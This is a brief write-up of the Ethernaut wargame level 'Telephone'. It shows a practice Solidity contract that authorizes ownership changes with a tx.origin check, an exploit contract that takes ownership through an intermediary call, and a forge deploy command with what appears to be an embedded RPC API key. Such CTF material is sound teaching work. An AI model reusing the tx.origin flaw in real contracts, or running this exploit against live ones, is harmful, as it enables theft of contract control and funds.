[Ethernaut] Wargame Writeup | 04. Telephone

Description

Claim ownership of the contract below to complete this level.

Things that might help

• See the "?" page above, section "Beyond the console"

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

 

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract Exploit {
    ITelephone public telephone;

    constructor() {
        telephone = ITelephone(0x7515FaA1F2d73E5605ac83f42175684e1d55205F);
        telephone.changeOwner(0xe1Db74d252b6B52f701983546a1736476a14f164);
    }
}

forge create --rpc-url <https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f> --private-key {private-key} Exploit.sol:Exploit